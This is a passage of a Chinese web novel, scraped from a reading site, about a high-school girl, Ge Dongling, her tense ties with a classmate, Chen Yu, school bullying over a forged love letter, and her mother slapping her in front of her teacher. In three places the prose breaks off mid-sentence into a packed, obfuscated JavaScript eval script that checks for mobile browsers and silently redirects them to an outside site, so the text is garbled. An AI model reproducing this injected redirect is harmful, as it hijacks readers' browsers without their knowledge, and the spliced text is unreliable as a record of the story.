课间要么写作业,要么就是坐着发呆甚至闭上眼趴着放空大脑,时间总是过得很快。 高三已经没有体育课跟自习课了,更别说二班跟七班距离很远,戈冬菱跟陈昱同校的三年,见面次数很少。 但她偶尔会刻意转到那边教室门口,路过之后转一圈就要假装走错了路从旁边楼梯下去,再从这边楼梯上来。 戈冬菱从班主任办公室出来,刚出了门就看到了徐俐跟盛贞一起抱着一沓卷子,徐俐很多时间都懒得搭理盛贞,就算是跟盛贞说话,盛贞也只会一个嗯字了结话题。 她不需要没有反馈的抒发欲。 瞧见戈冬菱,她招了招手,“哎等等我。” 出来后才问戈冬菱。 “你去办公室干什么?” 戈冬菱说:“课代表在医护室吊瓶,让我帮忙收一下作业本。” “哦。”徐俐上下梭巡着,随后眯着眼笑,“你什么时候居然会搭裙子穿了,戈冬菱,你变了。” 戈冬菱才说:“我妈把我薄一点的衣服全洗了,都没干。” 平常都是她自己放洗衣机里了,也不知道容春英为什么忽然把她的衣服也给翻了出来。 她俩在说话。 同行的盛贞就跟在旁边也不吭声。 下了楼还看到教学楼对面班门口站了两个男生,双手背后耷拉着脑袋正在面壁,姿态很闲散,不像是真的认错的样子。 “被发现早恋了。” 戈冬菱跟盛贞同时看过去。 “你怎么什么都知道。”戈冬菱好奇。 “我听说的呗,上课这么无聊,估计是没几个月要毕业了,管不了咯。” “管不了还让他们面壁。” “本来我们学校就是私立学校,大概是害怕这样传出去名气不好就没人来了吧。” 戈冬菱又一愣:“不是说,学校要闭校了吗?” 这说法也都是戈冬菱从已经转学的薛琪口中听说的,具体怎么样没人知道。 徐俐眼睛一扫:“你问他,他爸不是校长吗?” 忽然被提及的盛贞缓缓转过头,反应慢半拍,摇了摇头:“我不知道。” 徐俐抬起头往楼上看了眼,一眼看到了二楼正趴在围栏上的陈昱。 胳膊肘抵着栏杆,戴着黑色鸭舌帽,旁边低年级的男生在跟他说话,他正往楼下看,视线专注且不偏不倚地锁定着某个方向。 “看什么呢?” 戈冬菱也跟着抬头,只看到教学楼上一排排下课放风的身影。 跟戈冬菱对上,徐俐表情也没变,脑子里不知道在想什么,摇了摇头,低着头看脚尖。 她不再是第一时间发现陈昱的存在了。 “走了。” 教室玻璃窗开着,十点多,鲜活明亮的阳光正好照射在她半面试卷上。 戈冬菱正在闷头算几何函数,旁边一个纸条忽然砸了过来。 她还没抬起头看清楚是谁,人就已经从窗户口消失了。 茫然地盯着窗户看了两眼,又看向同桌,同桌也摇了摇头。 “不认识,不会是给你递情书的吧?” 戈冬菱拆开纸条才看到上面字的落款,陈昱。 “放学能一起去吃饭吗?——陈昱” 那几个字一笔一划写出来像小学生,只有陈昱两个字还是七拐八拐的要辨别许久。 看完之后折起来放进了笔袋里,盯着面前的卷子看了好一会,手指卷着边缘,一直卷到皱巴巴快要破掉才停。 她没带手机,也不想去他教室找她。 下课之后他应该也会坐那辆公交车。 最后一节课是化学,还剩下十分钟化学老师就没讲课了,集体陷入乱糟糟的讨论之中,有前排同学在问题,也没时间管别人。 把书包收拾好,踩着下课铃一路畅通无阻到了学校门口。 她低着头,耳朵里插着耳机,手里还拿着有些卡音的mp3。 到了校门口跟旁边同学一起等公交车。 天气不错,还能看到远处的半个太阳,夕阳坠落在水平线上,映照着最后璀璨的余辉,整个小镇都被切割成了明显的阴暗面。 霞光照得她有些睁不开眼。 车缓缓从远处街道下坡晃过来,旁边同学争先恐后上车,没人喜欢坐后排,所以她总是不紧不慢。 站在公交车的台阶上,她才听到身后耳熟的叫喊声,咬着那三个字,嗓音清淡又尾调带着点顽劣痞性。 “戈冬菱。” 戈冬菱回头,看到陈昱正站在正对玻璃门的位置,戴着鸭舌帽,下巴仰着露出一双黑眸,身上拉链没拉,脖子也刺拉拉地裸露在空气中,能清晰地看出他喉结的凸起异于常人。 旁边放了一辆他的黑色摩托车,还有两辆破摩托大概是旁边男生的。 那时小县城还没禁摩,学校更是不管,随处可见的摩托车伴随着轰隆声奔驰在街头。 那几个人都是之前陪他一起吃饭的,旁边站着一头黄毛的章鹏,还有几个她没见过,像是社会混混,陈昱喊了她的名字后,那几个人便开始流里流气地朝着她吹口哨,眼神上下梭巡着也没有尊重。 陈昱偏头扫了他们一眼,人就摸了摸鼻子往后退。 他身边总是来来往往很多人,他从来不把那些人当朋友,但却很乐意混在人堆之中,愿意被同化,被旁观者归为一类。 “走不走啊?” 他单手揣着口袋,眉眼上挑,在众目睽睽之下,整个视线和注意力都放在她身上。 戈冬菱只是盯着陈昱看,面无表情,指骨在口袋里也攥紧到泛白。 身后传来司机大叔催促的声响。 她甚至没应他的话,转身,投完币,走到后排她经常坐的位置上。 那一瞬间,她不仅心里空落落的,甚至于明显感觉到旁边好几道视线都在她身上描摹着,那种好奇甚至于称为出奇的眼神像是一把把冰刃,在往她身上猛刺。 公交车离开学校门口,越来越远戈冬菱也没敢朝窗外看一眼。 她甚至不敢去想,当时他朋友会是什么表情。 车停靠在七苔街公交站,双腿有些发麻,站起来的一瞬间脚底无数绵密的刺,疼的钻心。 强忍着迅速下了车,等车走后她又站在原地怔忪了好一会,才慢吞吞回了家。 容春英大概是真的想要她毕业之后就跟董家辉在一起,说让她下了课就去店里帮忙。 她回去之后把书包放在了卧室,董家辉就给她发了条微信,开着那辆本田来接她。 磨磨蹭蹭收拾完,拿着充满电的手机又从居民楼下来。 坐在副驾驶上还在跟容春英打电话,她问一句她就回一句。 眼睛无助地往窗外看,一眼瞧见了窗外不远处站着的陈昱,他自己一个人左肩勾着黑色书包,帽子摘了,五官整个显露出来,显现出一些轻狂恣意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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但她还是不得不抬头看向他:“你能帮我一个忙吗?” 董家辉停了车,熟练地掏出打火机抽了根烟,浑身明显比来之前放松很多,又或者是他此时不再在乎自己在别人眼里是什么样的形象。 “什么?” 戈冬菱说:“你能骗我妈妈说我在你店里上班吗?” “你要去哪?”他一顿。 “不去哪,我想自己住。” 董家辉拧紧眉:“你跟你妈妈——” 随后他又感觉自己的询问很可笑,哪有还没满十八岁就被上赶着送去给人当老婆的妈。 “我有什么好处?” 戈冬菱一瞬间迷茫。 董家辉那根烟抽完,轻笑了一声。 “刚才窗外那个是你喜欢的人吗?” 戈冬菱没说话,摇了摇头要下车。 “咔吧”一声。 董家辉又把车门给锁了。 “我可以帮你,但是如果被你妈妈发现了,我不会帮你辩解什么。” 戈冬菱手指松开,侧过头看他。 “谢谢。” 董家辉又想起容春英跟她说的这个女儿,不爱说话性格温顺,学习不太好等高中毕业之后就不上学了。 看来她妈妈一点都不了解她。 车停靠在太阳巷,董家辉把她放下之后就开车去了店里。 预定的餐厅打来电话问他什么时候到,又转了个弯自己去吃了。 戈冬菱穿了件毛衣,外面套着件灰色卫衣,夜色拉下之后,空气变得阴冷。 她被冻的瑟缩,鼻子都红着。 掏出手机,才看到陈昱隔了五分钟发来的第二条微信。 【我真烦了。】 点进主页才发现把她微信给删掉了。 他这个人一项没耐心,脾气差,随心所欲。 14. 冷笑话 戈冬菱想起年前他说了那两句话。 他提醒她跟尢雪梨不是一路人,跟他不是一路人。 直说之后也没主动去删她的微信,给她留了自尊心。 他做事也一直如此,不喜欢拖泥带水,不喜欢模糊的界限,直来直去,在十八岁最好的年纪,是这样任性妄为。 背着书包去了太阳巷的房子,在一个老胡同里,是个小院子。旁边是一栋出租房,每间二平米的房间里还有独立卫浴,很多附近的建筑工人会来住,白天工作晚上回来休息,睡得很沉很静。 回到太阳巷已经晚上七点了,天空黑的只能看到隐约的亮。 把房间收拾干净,手拉了好几下电棒都没亮,就找了个手电竖在旁边桌子上,脱掉衣服爬上床,周遭终于安静了。 容春英从这里离开时带走了养父孙良的所有遗物,第一次她感觉内心很平静,没了那种几近窒息的恐慌害怕感。 闭上眼,却没有想象中能够快速入眠。 动了动身子侧着,手臂环抱着自己,睁着眼睛看着那个泛绿的玻璃窗,看着窗外有些白又有些黑。 大脑放空,过去许久,又重新闭上眼睛,不记得什么时候睡着的。 周六尢雪梨约她吃饭,说是新开了一家甜品店。 戈冬菱很喜欢吃甜的,每次尢雪梨要买什么总是会拉上她。 甜品店的装潢格外少女系,满是蝴蝶结跟动漫人物的店引来很多人打卡。 坐在店内一角,尢雪梨点了餐之后一直在回别人消息,她消息总是有很多,挑着回,又忽然抬了下头问起她毕业之后要做什么。 戈冬菱手里拿着叉子吃蛋糕,说:“不知道。” “你呢?” “跟之前一样,我想法不会变。” 尢雪梨忽然一停顿,说:“阿菱,我妈今天,给了我一张银行卡。” 戈冬菱等着她继续说。 “她说里面有八万块钱,是她这辈子赚的钱,让我去读书。” “她根本不懂,我想出国留学,不会回来了,然后她说,她知道。” 尢雪梨扯了下嘴角:“我没要,我就是她收养的,你说她这样做是不是不想让我走,毕竟我走了之后她就白养了这么多年,等她老了就没人给她养老送终了。” “她赌错了,我不会的,我会离开。” 她尢雪梨就是白眼狼没心没肺。 戈冬菱没吭声,手指戳着蛋糕里的面包胚,被切得很好的月牙被她捣得稀巴烂,跟奶油混在一起,美观尽无。 尢雪梨对她养母王繁花的感情很复杂,讨厌她一辈子任劳任怨不会反抗,讨厌她恋爱脑,讨厌她被出轨被离婚却一分钱都不争取故作大方,讨厌她胸无点墨目不识丁,讨厌她安于现状一辈子在小县城里碌碌无为连喜好跟追求都没有,却又在很多时候照顾她的身体,陪她吃饭,给她买礼物带小吃。 “她很爱你的,你不应该这样想。” 戈冬菱凝视着尢雪梨的眼睛。像是第一次看到她一样,她环着胸居高临下站在自己面前,眼底却没什么光亮。 “你知道你怎么上的职高吗?”戈冬菱倏然说。 尢雪梨蛋糕也不吃了,那双眼总带着睚眦必报的精明锐利。 “谁说什么了。” “我听到有人说……是阿姨找了校长。” “谁说的?” 戈冬菱摇了摇头:“群里看到的。” 尢雪梨的眼神瞬间冷下去,扯着凳子站起身,落下一句“结过账了”就走了。 戈冬菱坐在原地,慢吞吞地把面前的蛋糕吃完才走。 她不太喜欢浪费食物。 *** 尢雪梨把人给打了。 林高二班的,一个叫路代的女生,职高校长的女儿。 当时她正在她爸办公室门口,亲眼看到的尢雪梨的妈妈王繁花朝她爸下跪,哀求能让尢雪梨读职高。 路代仅告诉的几个人嘴巴死严,也就在背后嘲笑,那天一个手滑在群里发了之后也没人敢说。 没想到在戈冬菱这儿走路了风声。 她大概也是不怕她知道的,但没想到尢雪梨能找群人围堵。 周一那天路代没来,班里大半人都知道这件事儿。 下了课教室都格外安静,甚至有好几个人眼睛瞄着看向戈冬菱。 倒也没有认定是戈冬菱干的,但班里只有她跟尢雪梨认识,就脱不了干系。 徐俐找她一起去教学楼后楼小卖部买雪糕。 “你喜欢的绿舌头卖光了。”徐俐又说,“老板说之后不进咯。” 拿着一个甜筒出来,一边咬着吃一边含糊不清地问:“你跟她说的?” 戈冬菱反应了一下,点头。 “嗯。” 徐俐摸了摸她的额头。 手冰凉。 戈冬菱给她拍开了。 徐俐瞪直眼睛:“不是,我真的不明白,你为什么对她这么好?她是你亲姐妹吗?你完蛋了,你知道你惹了谁吗,路代,你又不是不知道她。” 她往旁边退了几步,眯着眼:“尢雪梨救了你的命?” 戈冬菱被她的语气给逗笑了。 随后又收敛。 “我说完就后悔了,但是已经说了,况且她早晚都会知道。” “我真的服了你了,我不告诉你就是因为你肯定会跟她说,就算早晚要知道也要等毕业了啊,毕业了就跟你没关系了。” 她倒也不觉得戈冬菱对尢雪梨有什么特别的好,戈冬菱这人就这样,对谁都好,如果事情发生在她身上,她相信戈冬菱也会说。 傻乎乎的,怪不得很多人喜欢跟她玩,没压力,舒服轻松,但想要跟她真的成为朋友却很难。 徐俐余光晃过一道颀长身影,说着话下意识想要回头看,又被戈冬菱瞬间握住了手腕。 回了一半的头倏然重新看向她,眼神带着不解:“嗯?” 戈冬菱问:“一模考试准备的怎么样了?” 徐俐:“还好,怎么忽然问我这个……” “随便问问。” 她这句话跟身后熟悉的声音混在一起,是章鹏的大白嗓门,低眸看着戈冬菱握着自己的手,又把眼睛移在她脸上。 她应该出小卖部门的时候就看到章鹏跟陈昱那几个人了。 他们总是成群结队,跟陈昱玩的那几个男生都很高,陈昱更是台柱子似的存在,顶着那张脸就有人无限回头看。 徐俐晃了晃握着的手,使眼色说:“我给你讲个笑话。” 戈冬菱歪了歪头:“你说。” 她清了清嗓音,一本正经:“有个人走进了一家店,买了瓶水,付了钱之后他又问,请问我该怎么把这瓶水喝完?店员说,你先打开瓶盖。” “你知道他为什么问这个问题吗?” 戈冬菱脚步都放慢了。 “为什么?” 徐俐眼睛大大的,表情很夸张:“因为……那个人买的是一瓶未开封的水,所以他问怎么喝是因为瓶盖没有打开,根本就喝不了!” 戈冬菱停住脚步,表情很木地看着她。 过了好几秒也没做出反应。 上课铃跟着响起,徐俐拉着戈冬菱就跑,走到拐角才听到旁边人在放声笑,脸上的笑意灿烂的不像话。 她有点郁闷:“不是,你反射弧也太长了吧。” 戈冬菱还咧着唇:“你这明明是冷笑话。” 有点白痴的无厘头对话。 “我走了!” 说着三下五除二把手里剩下的半根甜筒吃完,跑去了教室。 戈冬菱站在楼梯台阶上,过了一会儿,才慢慢回头看了一眼。 继续往楼上走时听到了身后说话声,细细的嗓音搅着神经,转弯上了二楼。 陈昱眼神从刚才就一直盯着戈冬菱看。 旁边章鹏注意着陈昱的表情,也没敢说话。 那么多人面前,戈冬菱连个回声儿都没有,明显是故意不想搭理陈昱。 什么情况? 陈昱扯了扯嘴角,双手揣着口袋,眼神扎扎实实地放在前方不远处戈冬菱的背影上,语气轻嘲:“我怎么知道。” 章鹏拍了下嘴,又上下绷起唇。 不小心问出来了。 戈冬菱长得确实漂亮,章鹏并不是第一次见她,毕竟在一个学校,就她这样的女孩,从高一管得不严的时候开始,就有兄弟传哪个班的谁谁长相了。 戈冬菱就是被追的其中之一。 她最开始靠窗总是收到情书,还被班主任特意调到了中间,挨个叫那些递情书的问话叫家长,一直到下班学期才好些。 但陈昱不认识她,他整天走路的时候连人都不看,更别说听什么八卦认识什么人。 陈昱还在抬着眸持续的盯着已经没有人的楼梯道。 脑海里荡着人刚才的笑。 她偏了一下脸,扎着高马尾露出有些弧度的脸颊,嘴角上扬着看上去很放松,眼神没往他身上看一秒。 一瞬间,又让他想起那个雨天。 雨滴一滴一滴染湿她的肩膀,头发也一缕一缕贴在面颊,眼睛湿哒哒的,空气潮得让人烦躁,她凑过来的呼吸却很热。 陈昱侧目笑了下:“我看上去很好玩?” 章鹏吞咽着口水,移开目光,没敢吭声。 *** 这节课是自习课,老师不在,班长坐在上面,黑板上布置了作业下课要交。 戈冬菱还没走过去便瞧见自己桌面被放好的书本被弄得乱糟糟堆积着,刚发的那张卷子也被撕成了好几半。 坐下整理课桌,又把那张卷子拼好,用透明胶带沾上。 把卷子的答案写在了另一张纸上。 教室好几个人捏着笔探着头往这边看,见戈冬菱许久都没反应,才继续默默做题。 之后那几天戈冬菱不光没见过尢雪梨,也没再碰到陈昱。 学校说大不大,说小也不小。 他故意不从这边过,戈冬菱不从另一边楼梯上也遇不到他。 下课后就回太阳巷的老房子里做作业,看书,晚上倒是能很快睡着,也不会被惊醒,但因为距离远,要早起一个小时才能赶上去学校的公交车,也要很晚才到家。 老房子不光是距离学校远,距离公交站也不近。 她下了公交车之后戴着耳机往一条长街走。 这边从外看路很宽阔,越往里走越窄,旁边有一个集资楼,还有几家美甲店跟早餐店,一个快递站,右拐往小巷子里走才能走到她家。 晚上这边会有人在散步,气氛闲适。 她捏着书包的肩带听着耳机里的歌,一直到一首歌中间那段很长又很低声的间奏,她停住脚步。 回过头往身后看了一眼。 街口男生穿着件黑色休闲服,有些眼熟。 旁边还站着颜明志,正笑着跟戈冬菱打招呼。 旁边朋友扫了他一眼,问他是谁。 颜明志边看着戈冬菱,边说:“尢雪梨朋友,哎?她好像也是林高的,还跟陈昱认识。” 戈冬菱只是扫了他们一眼,没回应转身继续往前走。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14253322|151011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' *** 路代回学校上课那天距离事发过去了大半个月。 一进教室眼睛就盯着戈冬菱看,脸上还贴着纱布,伤口明显没完全好,那股要蔓延出来的攻击力耳目昭彰。 教室里比往常要安静许多,没了往日打闹的嬉笑声响。 徐俐下课叫她出来,看了一眼坐在中间转笔玩的路代。 拉着她问:“她是不是针对你了。” 戈冬菱低着头:“没事儿,你没事吧?” 徐俐耸了耸肩:“她才不敢得罪我,怎么着我爸也个当官儿的,就算是知道也不能拿我怎么样。” “尢雪梨呢?她不管了?她不知道会影响你?她倒是把人打一顿爽了,不过也不知道她还能在职高混不混得下去。” 戈冬菱没吭声。 回教室后看到自己座位那儿围堵了一群人,班主任也在其中,旁边站着路代,揣着兜眼睛盯着她,下巴仰着嘴角朝着她笑。 班主任手里拿着一张纸,看着门口的戈冬菱,面色很黑走了过去。 “你跟我出来。” 又回过头看着教室里的全体同学:“暂时先上自习,一会儿抽同学背古诗文。” 走出来后还不忘关上了门。 “这个情书是你写的吗?” 戈冬菱接过那张粉色的信纸,第一句就是—— 陈昱同学,我喜欢你。 “不是。” “不是你写的?我认识你的字迹,跟你的字迹一模一样,而且我听说上周五在校外七班的陈昱叫你的一起,戈冬菱,你知道你的成绩如果不是分科后不再分班,你根本来不了二班。” “学习一落千丈就算了,还要破罐子破摔早恋吗?” 郭觅不太明白:“你对我有什么不满吗?” 即便她是为了升职,但她也是为了戈冬菱好的,可她这个人,长相看上去聪明有主见,说话声总是很平没有攻击力,内里却满是刺。 “对不起老师。” 戈冬菱低着头,继续说:“但是这封信不是我写的。” 郭觅紧绷着脸:“除了这封信呢?” 说实话,她是对戈冬菱有些不满的,她再年轻也是她的老师她的班主任。 “我给你妈打了电话,你在这儿站着等她过来,我需要跟你家长谈一次话。” 戈冬菱才猛地抬起头,动了动唇,脸色都瞬间变得苍白了。 “可以不叫家长吗?我接受学校的任何处分。” “你承认了?” “不光是因为这个,还有你的学习问题,你非常消极懈怠。” 郭觅沉了口气:“你放心,我会跟你妈妈好好谈,而且这件事还没落定,我不会冤枉你的。” 戈冬菱站在门口等了整整一节课,阳光正对着教学楼,整个照耀在她身上,明亮的光线刺目,她被迫低下头耷拉着脑袋。 下课铃响,张开手掌心看到一手的冷汗在光线下闪出亮光。 远处哒哒的黑低跟皮鞋的声响传来,侧过头去看,这条长廊上只有容春英一个人走来的身影,被朝阳照射出来的身影拉的很长。 她身上还穿着一件脏兮兮的蓝色工装服,脸颊有些红应该是一路过来被太阳晒的,头发也被风吹的凌乱,堪堪束缚在后颈。 她面无表情地走过来,戈冬菱的视线却晃神越过她,看到了她身后穿着校服的陈昱。 还是那副懒懒散散的样子,应该是下了课从教室晃悠到这边的。 他没看向自己,嚼着糖,往旁边一靠。 旁边站着一个女生,是上次他在面馆帮了的那个,原来也是林高的。 说的什么听不清,她只能看到那个矮个子的女孩双手交叉着放在腹部,仰着脑袋脸颊红晕看着他。 场面过分青春,让戈冬菱不合时宜地出神。 她就是在这一瞬间想,还剩下没有几个月,陈昱的高中生活原本就是这样过去的。 “是戈冬菱妈妈吗,我是她——” 从教室出来的班主任那半句话还没说完,就被“啪”的一声给打断。 容春英眼底看不出情绪,站在戈冬菱面前,毫不留情给了她一巴掌。 戈冬菱被这股力打的往旁边歪倒,手指扶着围栏才站稳,脸颊瞬间发麻红肿,耳朵嗡嗡的轰鸣。 她低着头,鼻腔太疼呼吸都有些喘,手指摸了摸鼻子,摸到了一手血,又用手指捂着下鼻子,抬头看容春英。 周遭寂静,像是照片定格的一帧。 郭觅直接愣住了,走廊里正在放风的人都停住了所有动作,连那个小个子都目瞪口呆地盯着这边,被这响亮的一巴掌给震住。 看到戈冬菱鼻子上的血,更是被吓得大气都不敢出一声。 “妈。”戈冬菱捂着鼻子,声音低闷,眼圈泛红看着容春英。 “别叫我妈。” 郭觅忙的从口袋里掏出纸给戈冬菱擦着,又用护着的姿态看着容春英。 “冬,冬菱妈妈,这件事还没有查清楚,我找你来是来说一下戈冬菱学习上的问题,你——” “我们先去我办公室谈吧。” 郭觅跟容春英走在前面,大概也被容春英吓到了,找着话题说她上次的成绩。 戈冬菱耷拉着脑袋跟在两人身后,手里那封情书沾了血被她随手扔在了地上。 跟陈昱擦肩而过时,余光扫了他一眼。 对视的那一秒,她的眼睛里没有温度,没有情绪,眼睫都是静止的。 等她下了楼,陈昱弯下腰,捡起来那张纸看。 ——陈昱同学,我喜欢你。 15. 热缩片 董家辉驱车去了居民楼时刚好跟门口开着电动车拉着戈冬菱回来的容春英碰上面。 车急忙停在路边,瞧见她手里还拿了一个透明塑料袋里面放着几个药盒,走过去眼睛定在戈冬菱脸颊的红肿处,手里冰袋好像没什么用,鼻子都通红。 视线往上,跟戈冬菱那双清凌凌的双眸对视上了。 一瞬间,脑子空白了一秒。 她跟以往一样面无表情,好像总是平静着一张脸,眼睛透亮也看不出情绪。 可此时董家辉却不觉得她是开心的。 “阿姨。”董家辉叫了声。 容春英把车停在车棚下,才问向董家辉:“冬菱在你那做的怎么样?我最近忙,也没给她打电话。” 董家辉笑着点了点头:“挺好的,这脸是怎么了?在学校受欺负了?” 容春英瞅了她一眼,没回答,反倒说:“她这几天不去了,晚上她自己住那边也不太安全。” 董家辉点了点头。 又看着戈冬菱低着头一言不发的模样,说:“本来还跟阿菱约好一起去吃饭的。” 董家辉忽然想起什么,说:“我们前两天去的那家私房菜挺不错,改天阿姨您一起去尝尝,麻烦阿菱这么久了也没请您吃个饭。” “我们当时还遇到她同学了。”董家辉摸了摸鼻子,有些不好意思,“问还说我是她远方表哥,阿姨您别说漏嘴,外面传着会不好听。” 容春英愣怔了一下,随后看向戈冬菱。 “这样啊……改天吧,改天等我不忙了一起吃饭,欸你爸妈现在在哪呢?在市里吗?” 董家辉摇了摇头说:“没有,前两天说准备去台海定居了,那边也是沿海,饮食什么的他们都能适应,主要是我爸妈的工作要调去那边。” 容春英点了点头,没再继续追问。 又看了一眼戈冬菱,扭过头正想说话,又听到董家辉说:“阿姨,我那个餐厅都定好了,你们应该还没吃饭吧,要不现在一起去吃点儿?” 容春英又侧过头看戈冬菱,随后摇了摇头:“不用了,你自己去吧,今天她也累了,刚好我在家给她做点饭吃。” 董家辉笑了笑:“那行,那我就先走了。” 戈冬菱跟在容春英身后上了楼,她低着头拿着哐当的钥匙开门,戈冬菱站在旁边,门打开跟着进去。 站在玄关,戈冬菱才开口,嗓子有些沙沙的,手里攥紧那盒药格外狼狈。 “妈,我真的没有,那个男生,是尢雪梨的朋友。” 容春英嗯了一声,在办公室老师跟她说了,戈冬菱学习不太能跟上,但一向安分。 她低头看了一眼自己泛红粗糙的手掌,一瞬间还有些恍惚。 “你自己拿钱去下馆子,我去睡觉了。” 戈冬菱眼睫颤动了几下,张了张唇想说什么。 过了大概十几秒,话语割着嗓子还是问出了口:“妈,我还能去太阳巷住吗?” 容春英这才转过身,眉目之间满是疲惫。 “为什么?不想跟我一起住?” “你是大了。” “没有,这边很吵,我晚上总是做噩梦睡不着。” 容春英转身往房间走,“那就吃安眠药。” 戈冬菱没再吭声。 她没什么胃口,没出去吃,卸下书包回了卧室,连每天要听的全英阅读也没听了。 盖着被子裹紧脖颈躺在床上,闭上眼,过了会儿又戴上了耳机,声音很吵很吵,这种吵闹一直跟同坠入她的梦里,一直到夜间冒着冷汗醒来,睁开眼还有些恍惚,她把磁带关掉,坐在床边看着窗外等着天亮。 起身去上厕所时,才看到容春英自己一个人正坐在客厅看养父生前跟她一同拍的一张结婚照,穿着红衬衫,笑容灿烂。 戈冬菱被吓了一跳,叫了声妈。 容春英站起身,沉了口气又摸了摸眼角,说:“阿菱,董家辉那孩子,还是太年轻气盛,而且他大概也是要去跟他爸妈去台海那边发展的,他再约你,不想去就别去了。” “白天妈妈太冲动了,还疼吗?” 戈冬菱摇了摇头,说:“不疼了。” 容春英说话语气慢,在寂静的夜里如同流水:“好了,快去睡吧。” 戈冬菱就重新回了房间。 关上门才想起来忘记去厕所了,盯着漆黑的房间,她慢慢蹲下身,靠着门,她环抱住膝盖,把自己紧紧蜷缩成一团。 每次都这样。 *** 听说尢雪梨被学校开除了,校长还去了王繁花家让她们赔偿巨额医药费。 据徐俐的八卦,王繁花那天不在家,只有尢雪梨自己在,她当然玩不过比她年纪翻一倍的校长,把自己的所有钱都给了对方,还借了朋友的钱。 戈冬菱知道其实尢雪梨这几年赚了不少钱,她跟一个三流音乐平台签约过,那些歌被买断,存的钱一部分留给王繁花一部分是她准备出国留学的,可此时一切尽毁。 她做事一直很冲动。 “她也,挺惨的……”徐俐抓了抓脑袋,背着书包跟戈冬菱一同走在去上学的路上。 “如果是我的话,我大概没有勇气去找路代算账。” “徐俐,你知道我为什么跟你做朋友吗?” 徐俐“啊”了一声,侧着头看她,朝阳洒在她的脸颊上,那双澄澈的眼眸在光线下像是浅色,睫毛如同清早的灰蝶。 “为什么?因为,我家有钱……?不至于吧。” 戈冬菱说:“高一开学的时候,你爸妈送你来学校,我看到你坐在车上跟你爸妈打闹,就觉得你家庭氛围一定很好。” 戈冬菱盯着徐俐看,那个时候忽然恍然大悟,原来爸妈是这样的。 她都快要忘记爸爸生前的所有事儿了。 徐俐一时之间不知道要说什么,又说:“没事,尢雪梨应该也没事的,她跟陈昱章鹏关系那么好,路代也不敢做什么。” 反正尢雪梨也不爱学习。 她也不觉得人生只有学习这条路可走。 戈冬菱去了徐俐的教室,在门口等她回教室拿巧克力。 一眼看到了中间第三排靠走廊坐着的盛贞。 他捏着笔正闷头做作业,余光被什么抓住,戈冬菱视线蓦地落在他脖颈戴着的一个热缩片。 那是戈冬菱跟尢雪梨一起去做的,之前尢雪梨学校有个手工比赛,她们去做陶瓷工艺时顺便做了两个吉他拨片,用热缩片做的。 尢雪梨做了一片白色雪花。 涂胶前在拨片上钻了个孔,尢雪梨挂脖颈上用到直接摘下来。 此时出现在了盛贞的身上。 怀里被塞了一整盒的巧克力,徐俐说:“这是酒心的,不过没事,我吃了好几颗,都给你了。” 又怒眉瞪眼说:“我给你的不许给别人吃!” 戈冬菱笑着点头说好,抱着巧克力盒子,顺着往教室走。 再过三个教室,会经过七班。 她一直低着头,那个用了很久的皮筋在今天不小心断掉了,长发散着,盖住了半张脸。 经过了七班教室门口,前面忽然一个人伸出了一条腿。 戈冬菱反应及时,刹住脚步,偏头看到男生正笑嘻嘻的,跟她对视上也没收回脚,反倒一副洋洋得意的样子抱着胳膊看着她。 戈冬菱从旁边走过去之后,还听到身后男生啧啧了两声。 然后笑着捅了一下陈昱,说:“一眼没看你。” 陈昱跟着笑了声。 眼睛也从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14268282|151011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戈冬菱身上收回了。 他又不属狗。 “下节课什么?” “自习,老头生病了,这两天都上自习。” 老头的性格易怒且暴躁,没有老师愿意主动帮他代课,平常只有班主任闲的时候才会来,说是要来新老师,但一直也没人来。 陈昱就从窗户口捞起桌上一张数学卷子走了。 周五天台开了门。 这几天天气都格外燥热,天台墙根儿一些嫩绿的杂草正在自由生长,墙皮也被阳光晒得脱落。 整个天台被明亮的光线照得显露无疑。 上课时间没什么人。 陈昱手里揣着那张卷子,看了阳台没有人,门却开着。 准备下楼时,脚步又瞬间停住,走到上次放了一个砖头的地方,打开,看到了里面那盒烟。 从洞口掏出来,目光定住一个个数着。 少了一根。 地面上还有一些烟灰。 学校有学生抽烟被发现,查了之后才知道是在一家小卖部买的,学校跟对方老板争执不休,反倒是让对方店内开始正大光明卖了起来。 他去看过,很小的店铺,卖一些卫生纸、面包跟饮料雪糕,除此之外全是一些价格贵利润高的烟,专门卖给学生。 章鹏很会倒货,从批发商那儿进了一批批发价,跟他谈好了价格,私下卖给老板,赚取利润。 陈昱重新把烟放进去,没用旁边砖头盖上,就那么大大咧咧地敞开着,转身揣着口袋慢悠悠下楼。 一阵风往楼梯口吹,白色的卷子正巧飘落在他脚下。 踩出了带着灰尘的半个脚印,他低头捡起来,才看清左上角写着的名字。 戈冬菱。 手指在卷子上弹了弹,一边下楼一边低着头把卷子整齐折好放进口袋里。 最后一阶台阶时,才看到了戈冬菱的身影。 她站在最底下,仰着头看着陈昱,又一步步从他旁边跑上去。 陈昱就懒洋洋地用手肘抵着栏杆看正在着急上楼找东西的女孩。 心里数着数,没到一分钟她就下来了。 瞧见陈昱没走,脚步放慢走到他面前。 “你有没有在天台看到我的卷子,我写名字了。” 陈昱眼睛毫无情绪。 